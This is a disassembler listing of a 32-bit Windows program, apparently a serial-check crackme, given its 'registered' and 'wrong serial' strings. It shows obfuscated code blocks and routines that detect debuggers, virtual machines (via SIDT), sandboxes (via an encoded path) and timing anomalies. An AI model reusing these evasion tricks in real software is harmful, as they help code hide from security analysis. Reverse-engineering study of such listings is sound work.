		dd 676E6F72h, 72657320h, 6C6169h, 0FF518A0Fh, 8B0FFFFFh
		dd 0FFFFFF4Bh, 720BEB58h, 73696765h, 65726574h,	0E8400064h
		dd 0FFFFFF83h, 3D013CEDh, 744A088Bh, 1E8h, 1E80600h, 0B8000000h
		dd 4244483h, 24048312h,	5048C30Ah, 33310F52h, 0C8335AC8h
		dd 8A0F6558h, 0FFFFFECDh, 0FEC78B0Fh, 0E9F1FFFFh, 8, 3D00FD26h
		dd 5D555FEAh, 0C105C3C1h, 5A5205CBh, 1B1800Fh, 810F0000h
		dd 1ABh, 8B310F76h, 2B310FC8h, 81D1F7C8h, 5000F9h, 68FE7F00h
		dd 4C6Fh, 0F04C483h, 0CA8C0FC8h, 0F000001h, 1C48Dh, 310FD900h
		dd 310FC88Bh, 0D1F7C82Bh, 5000F981h, 0FE7F0000h, 0BE8h
		dd 67657200h, 65747369h, 646572h, 720BEB58h, 73696765h
		dd 65726574h, 0FF90064h, 0EE82h, 0CEE20000h, 508AB0ECh
		dd 33310F52h, 0C8335AC8h, 0FC08A58h, 1FD8Ch, 0F78D0F00h
		dd 9A000001h, 0C88B310Fh, 0C82B310Fh, 0F981D1F7h, 5000h
		dd 5250FE7Fh, 0C833310Fh, 58C8335Ah, 0C08A5A52h, 66E9h
		dd 12ADA00h, 638163Dh, 1E88Fh, 0E8960000h, 1, 244483F8h
		dd 4831204h, 58C30A24h,	0CC8F68h, 4C48300h, 48BA02EBh
		dd 720BEB41h, 73696765h, 65726574h, 58500064h, 1A880FF3h
		dd 0FFFFFFFh, 0FFFF1489h, 5250C3FFh, 0C833310Fh, 58C8335Ah
		dd 24DD04EBh, 0FF8A868h, 0FFFF6283h, 48F800FFh,	0FE4E416h
		dd 0FC88B31h, 0F7C82B31h, 0F981D1h, 7F000050h, 8B310FFEh
		dd 2B310FC8h, 81D1F7C8h, 5000F9h, 0FFE7F00h, 0F78Ah, 0F18B0F00h
		dd 5E000000h, 0E09802EBh, 8A0F5A52h, 0FFFFFFA6h, 0FFA08B0Fh
		dd 0F53FFFFh, 0FC88B31h, 0F7C82B31h, 0F981D1h, 7F000050h
		dd 0CC8F68FEh, 0C4830000h, 0FF12E904h, 254BFFFFh, 387D3D01h
		dd 310FAB8Dh, 310FC88Bh, 0D1F7C82Bh, 5000F981h,	0FE7F0000h
		dd 0C88B310Fh, 0C82B310Fh, 0F981D1F7h, 5000h, 1EBFE7Fh
		dd 8A0F4168h, 0FFFFFE86h, 0FE808B0Fh, 0F2BFFFFh, 0AF0FC0AFh
		dd 0C0AF0FC0h, 820FF9D6h, 0FFFFFEF1h, 91E52300h, 1E832B3h
		dd 0CA000000h, 1E8h, 44838800h,	83120424h, 0C30A2404h
		dd 2001EB88h, 4C48340h,	62E9h, 147D300h, 0FC14B53Dh, 8B310F09h
		dd 2B310FC8h, 81D1F7C8h, 5000F9h, 0E8FE7F00h, 0Bh, 69676572h
		dd 72657473h, 58006465h, 72770DEBh, 20676E6Fh, 69726573h
		dd 0F006C61h, 0FFFF518Ah, 4B8B0FFFh, 58FFFFFFh,	65720BEBh
		dd 74736967h, 64657265h, 83E84000h, 0EDFFFFFFh,	8B3D013Ch
		dd 0E8744A08h, 1, 1E806h, 83B80000h, 12042444h,	0A240483h
		dd 525048C3h, 0C833310Fh, 58C8335Ah, 0CD8A0F65h, 0FFFFFFEh
		dd 0FFFEC78Bh, 0E5E9F1FFh, 20000000h, 0E03D0877h, 0EBA1C0FBh
		dd 6765720Bh, 65747369h, 646572h, 0F9C0AF0Fh, 14A820Fh
		dd 56000000h, 3145223Ah, 0BE8h,	67657200h, 65747369h, 646572h
		dd 720BEB58h, 73696765h, 65726574h, 800F0064h, 1A5h, 19F810Fh
		dd 0F910000h, 0FC88B31h, 0F7C82B31h, 0F981D1h, 7C000050h
		dd 8C3FE905h, 310F6010h, 310FC88Bh, 0D1F7C82Bh,	5000F981h
		dd 57C0000h, 0A84CEFE9h, 0A602EB48h, 808C0F38h,	0FFFFFFFh
		dd 0FFFF7A8Dh, 0BEB4BFFh, 69676572h, 72657473h,	0F006465h
		dd 0B0C08BC8h, 800F41C0h, 1B3h,	1AD810Fh, 0E8800000h, 1
		dd 1E852h, 83280000h, 12042444h, 0A240483h, 0BE800C3h
		dd 72000000h, 73696765h, 65726574h, 0F580064h, 13D8Ch
		dd 378D0F00h, 0B000001h, 0F9C0C10Fh, 0FFA08C0Fh, 8D0FFFFFh
		dd 0FFFFFF9Ah, 8B310FF9h, 2B310FC8h, 81D1F7C8h,	5000F9h
		dd 0E9057C00h, 0DCCCCC8Fh, 7800F40h, 0F000000h,	181h, 0BE83E00h
		dd 72000000h, 73696765h, 65726574h, 0EB580064h,	6765720Bh
		dd 65747369h, 646572h, 65720BEBh, 74736967h, 64657265h
		dd 880F4100h, 82h, 7C890Fh, 0EBDB0000h,	0A30FC201h, 0FD0F7C0h
		dd 308Ah, 2A8B0F00h, 0DA000000h, 0C88B310Fh, 0C82B310Fh
		dd 0F981D1F7h, 5000h, 7FE9057Ch, 0F70288Ch, 0C08AC0C1h
		dd 99820FF9h, 0FFFFFEh,	58D4F6FAh, 1E830h, 0E8A20000h
		dd 1, 24448368h, 4831204h, 58C30A24h, 1E8h, 1E88600h, 0B8000000h
		dd 4244483h, 24048312h,	5240C30Ah, 2E8C0F5Ah, 0FFFFFFFh
		dd 0FFFF288Dh, 0BEBDEFFh, 69676572h, 72657473h,	0EB006465h
		dd 650CDF02h, 0FE698C0Fh, 8D0FFFFFh, 0FFFFFE63h, 1E80Bh
		dd 0E8120000h, 1, 24448328h, 4831204h, 0D0C30A24h, 942968h
		dd 4C48300h, 0FE9DE936h, 0C35DFFFFh, 789B3D08h,	0BE8AE30h
		dd 72000000h, 73696765h, 65726574h, 0EB580064h,	50588E04h
		dd 1E860h, 0E8CA0000h, 1, 24448388h, 4831204h, 70C30A24h
		dd 0FC0AF0Fh, 880FC0AFh, 61h, 5B890Fh, 0F340000h, 0FC88B31h
		dd 0F7C82B31h, 0F981D1h, 7F000050h, 0AA01EBFEh,	7880FF2h
		dd 0F000000h, 189h, 0DEB7000h, 6E6F7277h, 65732067h, 6C616972h
		dd 0E8C08A00h, 0Bh, 69676572h, 72657473h, 58006465h
		dd 0FC0A30Fh, 5850C0A3h, 0FFFEA6E9h, 89499FFh, 4903FF3Dh
		dd 30E98Dh, 5ABC0000h, 45E43D0Ch, 310F3B31h, 310FC88Bh
		dd 0D1F7C82Bh, 5000F981h, 0FE7F0000h, 0F2501EBh, 0C483C0A3h
		dd 820FF904h, 0E8h, 0E9570100h,	0DEB5C77h, 6E6F7277h, 65732067h
		dd 6C616972h, 0C0A30F00h, 0FCF0FF9h, 8B310FCFh,	2B310FC8h
		dd 81D1F7C8h, 5000F9h, 0E9057C00h, 0E844DC63h, 4B8A0F36h
		dd 0F000000h, 458Bh, 8B680600h,	830000FCh, 0AF0F04C4h
		dd 0D8A0FC0h, 0F000002h, 2078Bh, 310F1300h, 310FC88Bh
		dd 0D1F7C82Bh, 5000F981h, 57C0000h, 448C7FE9h, 0C0A30F6Ch
		dd 0C483C08Ah, 478A0F04h, 0F000000h, 418Bh, 310F7700h
		dd 310FC88Bh, 0D1F7C82Bh, 5000F981h, 57C0000h, 846C97E9h
		dd 8B310F5Ch, 2B310FC8h, 81D1F7C8h, 5000F9h, 50FE7F00h
		dd 33310F52h, 0C8335AC8h, 0E2E958h, 66880000h, 0F8383D0Ch
		dd 0DEB9B29h, 6E6F7277h, 65732067h, 6C616972h, 0AF04EB00h
		dd 0E8BCBC4Ch, 0FFFFFEFEh, 3D0CAF03h, 598EE605h, 1E8h
		dd 1E8D200h, 28000000h,	4244483h, 24048312h, 6888C30Ah
		dd 0ECB7h, 0F04C483h, 0FC08BC8h, 0FFFF318Ch, 2B8D0FFFh
		dd 0DFFFFFFFh, 888A02EBh, 78A0FD6h, 0F000000h, 18Bh, 310FD000h
		dd 310FC88Bh, 0D1F7C82Bh, 5000F981h, 0FE7F0000h, 0BCFB04EBh
		dd 0FF334F4h, 0BF80h, 0B9810F00h, 1A000000h, 1E8h, 1E8F200h
		dd 0A8000000h, 4244483h, 24048312h, 6870C30Ah, 4C6Fh, 0EB04C483h
		dd 1EBE001h, 0EB5951C6h, 0F7588E02h, 830FF8D0h,	6, 151E1200h
		dd 0A168BB68h, 830000F4h, 0E86504C4h, 0FFFFFEC2h, 3D0CA91Ch
		dd 28B16884h, 0BE8h, 67657200h,	65747369h, 646572h, 0C5F6858h
		dd 0C4830000h, 51D0F704h, 820FF959h, 0FFFFFF54h, 504AC600h
		dd 310F1BFEh, 310FC88Bh, 0D1F7C82Bh, 5000F981h,	0FE7F0000h
		dd 0BE8h, 67657200h, 65747369h,	646572h, 720BEB58h, 73696765h
		dd 65726574h, 0F9410064h, 20820Fh, 0B5000000h, 0CF539483h
		dd 310F5250h, 335AC833h, 1EB58C8h, 820FF96Eh, 34h, 4B90F000h
		dd 310FE45Bh, 310FC88Bh, 0D1F7C82Bh, 5000F981h,	57C0000h
		dd 0C47C6BE9h, 0F525048h, 5AC83331h, 0F858C833h, 0FF06830Fh
		dd 8F00FFFFh, 51553499h, 0F1E01EBh, 0FFFF7180h,	6B810FFFh
		dd 49FFFFFFh, 102E9h, 10424100h, 0F8A8173Dh, 8B310F44h
		dd 2B310FC8h, 81D1F7C8h, 5000F9h, 0E9057C00h, 6C6CCC8Fh
		dd 0C88B310Fh, 0C82B310Fh, 0F981D1F7h, 5000h, 46E8FE7Fh
		dd 0C7000000h, 0A13D1091h, 6A350886h, 6A5800h, 83595158h
		dd 880F04C4h, 0FFFFFFB9h, 0FFB3890Fh, 0F52FFFFh, 0FC88B31h
		dd 0F7C82B31h, 0F981D1h, 7C000050h, 0CC0FE905h,	0C80FC0A8h
		dd 154E8h, 10681500h, 0AB53233Dh, 1E889h, 0E8A60000h, 1
		dd 24448338h, 4831204h,	18C30A24h, 0C88B310Fh, 0C82B310Fh
		dd 0F981D1F7h, 5000h, 8365FE7Fh, 0FF904C4h, 16A82h, 0CD7B0000h
		dd 0F3DB712h, 50CF0FCFh, 704EB58h, 0FF8AC2Ch, 0FF8C0AFh
		dd 0D883h, 40C00000h, 0E85B8A35h, 0Bh, 69676572h, 72657473h
		dd 58006465h, 0BE8h, 67657200h,	65747369h, 646572h, 44E83658h
		dd 0BFFFFFFh, 0BD3D108Eh, 0E8EC44D1h, 0Bh, 69676572h, 72657473h
		dd 58006465h, 4F504EBh,	310F607Ch, 310FC88Bh, 0D1F7C82Bh
		dd 5000F981h, 57C0000h,	0DC9CD3E9h, 0C0C10F04h,	44830FF8h
		dd 1, 0E2853A56h, 770DEB82h, 676E6F72h,	72657320h, 6C6169h
		dd 0C08BC80Fh, 0A78C0Fh, 8D0F0000h, 0A1h, 0BE8B1h, 65720000h
		dd 74736967h, 64657265h, 0BE85800h, 72000000h, 73696765h
		dd 65726574h, 8A580064h, 41C8B0C0h, 0B2820FF9h,	0FFFFFFh
		dd 89CE0B6Dh, 4C4833Ah,	0FEB9800Fh, 810FFFFFh, 0FFFFFEB3h
		dd 8B310F23h, 2B310FC8h, 81D1F7C8h, 5000F9h, 0EBFE7F00h
		dd 5A525001h, 0FF118C0Fh, 8D0FFFFFh, 0FFFFFF0Bh, 8B310F67h
		dd 2B310FC8h, 81D1F7C8h, 5000F9h, 0FFE7F00h, 0FC88B31h
		dd 0F7C82B31h, 0F981D1h, 7F000050h, 4801EBFEh, 4C48365h
		dd 0FFFF68E9h, 106F55FFh, 0F2C9E33Dh, 720BEBE9h, 73696765h
		dd 65726574h, 0A4E90064h, 3FFFFFFEh, 693D1081h,	0FAB27C8h
		dd 0FC88B31h, 0F7C82B31h, 0F981D1h, 7F000050h, 0CDF68FEh
		dd 0C4830000h, 800F4104h, 61h, 5B810Fh,	0EB650000h, 6765720Bh
		dd 65747369h, 646572h, 310F5250h, 335AC833h, 1E858C8h
		dd 7E000000h, 1E8h, 44831800h, 83120424h, 0C30A2404h, 1EE841B8h
		dd 56FFFFFFh, 3A3D105Eh, 0E8F76A27h, 0Bh, 69676572h, 72657473h
		dd 58006465h, 0FFFFAEE9h, 1056FAFFh, 82B6F63Dh,	0FF45C67Eh
		dd 0FF458A01h, 90C35D59h
; ---------------------------------------------------------------------------


loc_403630:				; CODE XREF: start+2Cp
					; sub_403EB5:loc_403F08p ...
		push	ebp
		mov	ebp, esp
		push	ecx
		jz	short loc_40363F
		jnz	short near ptr loc_403638+2


loc_403638:				; CODE XREF: CODE:00403636j
		call	far ptr	0E801h:750374E8h


loc_40363F:				; CODE XREF: CODE:00403634j
		nop
		nop
		nop
		nop
		mov	byte ptr [ebp-1], 1
		mov	al, [ebp-1]
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403650	proc near		; CODE XREF: sub_4036BC+45p

var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEECh
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		lea	edx, [ebp+var_114]
		mov	eax, [ebp+var_4]
		call	sub_40145C
		lea	edx, [ebp+var_114]
		lea	eax, [ebp+var_14]
		mov	cl, 0Bh
		call	sub_4013C0
		mov	eax, [ebp+var_8]
		lea	edx, [ebp+var_14]
		call	sub_4017E4
		mov	esp, ebp
		pop	ebp
		retn
sub_403650	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40368C	proc near		; CODE XREF: sub_403EB5+65p
					; sub_403EB5+72p ...

var_18		= dword	ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		xor	ecx, ecx
		mov	[ebp+var_18], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_40197C
		xor	eax, eax
		push	ebp
		push	offset loc_40373C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		pushfw


loc_4036B5:				; CODE XREF: sub_40368C+2Ej
		call	sub_4036BC
		jb	short loc_4036B5
sub_40368C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4036BC	proc near		; CODE XREF: sub_40368C:loc_4036B5p
		add	esp, 4
		popfw
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		mov	eax, [ebp-4]
		call	sub_401808
		test	eax, eax
		jle	short loc_40371E
		mov	[ebp-14h], eax
		mov	dword ptr [ebp-0Ch], 1


loc_4036E1:				; CODE XREF: sub_4036BC+60j
		mov	byte ptr [ebp-0Dh], 1
		mov	al, [ebp-0Dh]
		inc	eax
		add	al, [ebp-0Ch]
		mov	[ebp-0Dh], al
		mov	eax, [ebp-8]
		push	dword ptr [eax]
		push	offset aSskksks	; "sskksks"
		lea	edx, [ebp-18h]
		xor	eax, eax
		mov	al, [ebp-0Dh]
		call	sub_403650
		push	dword ptr [ebp-18h]
		mov	eax, [ebp-8]
		mov	edx, 3
		call	sub_401854
		inc	dword ptr [ebp-0Ch]
		dec	dword ptr [ebp-14h]
		jnz	short loc_4036E1


loc_40371E:				; CODE XREF: sub_4036BC+19j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403743


loc_40372B:				; CODE XREF: sub_4036BC+85j
		lea	eax, [ebp-18h]
		call	sub_4016E0
		lea	eax, [ebp-4]
		call	sub_4016E0
		retn
; ---------------------------------------------------------------------------


loc_40373C:				; DATA XREF: sub_40368C+1Co
		jmp	loc_4014B0
; ---------------------------------------------------------------------------
		jmp	short loc_40372B
; ---------------------------------------------------------------------------


loc_403743:				; CODE XREF: sub_4036BC+7Fj
					; DATA XREF: sub_4036BC+6Ao
		mov	esp, ebp
		pop	ebp
		retn
sub_4036BC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 7
aSskksks	db 'sskksks',0          ; DATA XREF: sub_4036BC+38o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403758	proc near		; CODE XREF: sub_403818+2Ap
					; sub_403818+4Ap ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		xor	ecx, ecx
		mov	[ebp+var_18], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_40197C
		xor	eax, eax
		push	ebp
		push	offset loc_4037E4
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_401808
		test	eax, eax
		jle	short loc_4037C6
		mov	[ebp+var_14], eax
		mov	[ebp+var_C], 1


loc_403795:				; CODE XREF: sub_403758+6Cj
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_C]
		mov	al, [eax+edx-1]
		mov	[ebp+var_D], al
		lea	eax, [ebp+var_18]
		mov	dl, [ebp+var_D]
		sub	dl, 3Bh
		call	sub_4017D4
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_8]
		call	sub_401810
		mov	eax, [ebp+var_8]
		inc	[ebp+var_C]
		dec	[ebp+var_14]
		jnz	short loc_403795


loc_4037C6:				; CODE XREF: sub_403758+31j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4037EB


loc_4037D3:				; CODE XREF: sub_403758+91j
		lea	eax, [ebp+var_18]
		call	sub_4016E0
		lea	eax, [ebp+var_4]
		call	sub_4016E0
		retn
; ---------------------------------------------------------------------------


loc_4037E4:				; DATA XREF: sub_403758+1Co
		jmp	loc_4014B0
; ---------------------------------------------------------------------------
		jmp	short loc_4037D3
; ---------------------------------------------------------------------------


loc_4037EB:				; CODE XREF: sub_403758+8Bj
					; DATA XREF: sub_403758+76o
		mov	esp, ebp
		pop	ebp
		retn
sub_403758	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4037F0	proc near		; CODE XREF: sub_403EB5:loc_403EF8p

var_7		= byte ptr -7
var_6		= byte ptr -6

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		sidt	fword ptr [ebp+var_6]
		mov	al, [ebp+var_6+5]
		sub	al, 0E8h
		jz	short loc_403805
		sub	al, 17h
		jnz	short loc_40380B


loc_403805:				; CODE XREF: sub_4037F0+Fj
		mov	[ebp+var_7], 1
		jmp	short loc_40380F
; ---------------------------------------------------------------------------


loc_40380B:				; CODE XREF: sub_4037F0+13j
		mov	[ebp+var_7], 0


loc_40380F:				; CODE XREF: sub_4037F0+19j
		mov	al, [ebp+var_7]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_4037F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403818	proc near		; CODE XREF: sub_403EB5:loc_403ED8p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		xor	eax, eax
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		xor	eax, eax
		push	ebp
		push	offset loc_403927
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_1C]
		mov	eax, offset dword_403940
		call	sub_403758
		mov	eax, [ebp+var_1C]
		call	sub_40198C
		push	eax		; lpLibFileName
		call	LoadLibraryA
		mov	ds:hModule, eax
		lea	edx, [ebp+var_20]
		mov	eax, offset dword_403958
		call	sub_403758
		mov	eax, [ebp+var_20]
		call	sub_40198C
		push	eax		; lpProcName
		mov	eax, ds:hModule
		push	eax		; hModule
		call	GetProcAddress
		mov	ds:dword_406134, eax
		lea	edx, [ebp+var_24]
		mov	eax, offset dword_403970
		call	sub_403758
		mov	eax, [ebp+var_24]
		call	sub_40198C
		push	eax
		mov	eax, ds:hModule
		push	eax
		call	ds:dword_406134
		mov	[ebp+var_14], eax
		lea	edx, [ebp+var_28]
		mov	eax, offset dword_403988
		call	sub_403758
		mov	eax, [ebp+var_28]
		call	sub_40198C
		push	eax
		mov	eax, ds:hModule
		push	eax
		call	ds:dword_406134
		mov	[ebp+var_18], eax
		mov	[ebp+var_1], 0
		call	[ebp+var_14]
		mov	[ebp+var_8], eax
		push	96h
		call	[ebp+var_18]
		call	[ebp+var_14]
		mov	[ebp+var_C], eax
		push	96h
		call	[ebp+var_18]
		call	[ebp+var_14]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+var_8]
		cmp	eax, 64h
		jge	short loc_40390C
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_8]
		cmp	eax, 0FAh
		jge	short loc_40390C
		mov	[ebp+var_1], 1


loc_40390C:				; CODE XREF: sub_403818+E1j
					; sub_403818+EEj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40392E


loc_403919:				; CODE XREF: sub_403818+114j
		lea	eax, [ebp+var_28]
		mov	edx, 4
		call	sub_401704
		retn
; ---------------------------------------------------------------------------


loc_403927:				; DATA XREF: sub_403818+17o
		jmp	loc_4014B0
; ---------------------------------------------------------------------------
		jmp	short loc_403919
; ---------------------------------------------------------------------------


loc_40392E:				; CODE XREF: sub_403818+10Ej
					; DATA XREF: sub_403818+FCo
		mov	al, [ebp+var_1]
		mov	esp, ebp
		pop	ebp
		retn
sub_403818	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 0Ch
dword_403940	dd 0A9ADA0A6h, 6D6EA7A0h, 0A7A79F69h, 0	; DATA XREF: sub_403818+25o
		dd 0FFFFFFFFh, 0Eh
dword_403958	dd 8BAFA082h, 7C9EAAADh, 0A0AD9F9Fh, 0AEAEh, 0FFFFFFFFh
					; DATA XREF: sub_403818+45o
		dd 0Ch
dword_403970	dd 8FAFA082h, 7EA69EA4h, 0AFA9B0AAh, 0 ; DATA XREF: sub_403818+6Bo
		dd 0FFFFFFFFh, 5
dword_403988	dd 0A0A0A78Eh, 0ABh	; DATA XREF: sub_403818+90o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403990	proc near		; CODE XREF: sub_403EB5+13p

var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
Filename	= byte ptr -106h
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEE8h
		xor	eax, eax
		mov	[ebp+var_114], eax
		mov	[ebp+var_118], eax
		mov	[ebp+var_10C], eax
		mov	[ebp+var_110], eax
		xor	eax, eax
		push	ebp
		push	offset loc_403A83
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_1], 0
		push	104h		; nSize
		lea	eax, [ebp+Filename]
		push	eax		; lpFilename
		push	0		; lpModuleName
		call	GetModuleHandleA_0
		push	eax		; hModule
		call	GetModuleFileNameA_0
		lea	eax, [ebp+var_10C]
		push	eax
		lea	eax, [ebp+var_110]
		lea	edx, [ebp+Filename]
		mov	ecx, 105h
		call	sub_4017F0
		mov	eax, [ebp+var_110]
		mov	ecx, 0Ch
		mov	edx, 1
		call	sub_4019E0
		mov	eax, [ebp+var_10C]
		mov	edx, offset dword_403A9C
		call	sub_4018D8
		jnz	short loc_403A26
		mov	[ebp+var_1], 1


loc_403A26:				; CODE XREF: sub_403990+90j
		lea	eax, [ebp+var_114]
		push	eax
		lea	edx, [ebp+var_118]
		xor	eax, eax
		call	sub_401360
		mov	eax, [ebp+var_118]
		mov	ecx, 0Ch
		mov	edx, 1
		call	sub_4019E0
		mov	eax, [ebp+var_114]
		mov	edx, offset dword_403A9C
		call	sub_4018D8
		jnz	short loc_403A65
		mov	[ebp+var_1], 1


loc_403A65:				; CODE XREF: sub_403990+CFj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403A8A


loc_403A72:				; CODE XREF: sub_403990+F8j
		lea	eax, [ebp+var_118]
		mov	edx, 4
		call	sub_401704
		retn
; ---------------------------------------------------------------------------


loc_403A83:				; DATA XREF: sub_403990+26o
		jmp	loc_4014B0
; ---------------------------------------------------------------------------
		jmp	short loc_403A72
; ---------------------------------------------------------------------------


loc_403A8A:				; CODE XREF: sub_403990+F2j
					; DATA XREF: sub_403990+DDo
		mov	al, [ebp+var_1]
		mov	esp, ebp
		pop	ebp
		retn
sub_403990	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 0Ch
dword_403A9C	dd 495C3A43h, 6469736Eh, 5C6D5465h, 0 ;	DATA XREF: sub_403990+86o
					; sub_403990+C5o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403AAC	proc near		; CODE XREF: sub_403EB5:loc_403EE8p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		xor	eax, eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		xor	eax, eax
		push	ebp
		push	offset loc_403B72
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_10]
		mov	eax, offset dword_403B88
		call	sub_403758
		mov	eax, [ebp+var_10]
		call	sub_40198C
		push	eax		; lpLibFileName
		call	LoadLibraryA
		mov	ds:hModule, eax
		lea	edx, [ebp+var_14]
		mov	eax, offset dword_403BA0
		call	sub_403758
		mov	eax, [ebp+var_14]
		call	sub_40198C
		push	eax		; lpProcName
		mov	eax, ds:hModule
		push	eax		; hModule
		call	GetProcAddress
		mov	ds:dword_406134, eax
		mov	[ebp+var_1], 0
		lea	edx, [ebp+var_18]
		mov	eax, offset dword_403B88
		call	sub_403758
		mov	eax, [ebp+var_18]
		call	sub_40198C
		push	eax		; lpLibFileName
		call	LoadLibraryA
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_403B57
		push	offset aIsdebuggerpres ; "IsDebuggerPresent"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_406134
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_403B57
		call	[ebp+var_8]
		mov	[ebp+var_1], al


loc_403B57:				; CODE XREF: sub_403AAC+8Bj
					; sub_403AAC+A3j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403B79


loc_403B64:				; CODE XREF: sub_403AAC+CBj
		lea	eax, [ebp+var_18]
		mov	edx, 3
		call	sub_401704
		retn
; ---------------------------------------------------------------------------


loc_403B72:				; DATA XREF: sub_403AAC+14o
		jmp	loc_4014B0
; ---------------------------------------------------------------------------
		jmp	short loc_403B64
; ---------------------------------------------------------------------------


loc_403B79:				; CODE XREF: sub_403AAC+C5j
					; DATA XREF: sub_403AAC+B3o
		mov	al, [ebp+var_1]
		mov	esp, ebp
		pop	ebp
		retn
sub_403AAC	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 0Ch
dword_403B88	dd 0A9ADA0A6h, 6D6EA7A0h, 0A7A79F69h, 0	; DATA XREF: sub_403AAC+22o
					; sub_403AAC+6Co
		dd 0FFFFFFFFh, 0Eh
dword_403BA0	dd 8BAFA082h, 7C9EAAADh, 0A0AD9F9Fh, 0AEAEh ; DATA XREF: sub_403AAC+42o
aIsdebuggerpres	db 'IsDebuggerPresent',0 ; DATA XREF: sub_403AAC+8Do
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BC4	proc near		; CODE XREF: sub_403EB5+110p

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFBCh
		xor	ecx, ecx
		mov	[ebp+var_44], ecx
		mov	[ebp+var_40], ecx
		mov	[ebp+var_3C], ecx
		mov	[ebp+var_38], ecx
		mov	[ebp+var_34], ecx
		mov	[ebp+var_30], ecx
		mov	[ebp+var_2C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_403D5A
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_2C]
		mov	eax, offset dword_403D70
		call	sub_403758
		mov	eax, [ebp+var_2C]
		call	sub_40198C
		push	eax		; lpLibFileName
		call	LoadLibraryA
		mov	ds:hModule, eax
		lea	edx, [ebp+var_30]
		mov	eax, offset dword_403D88
		call	sub_403758
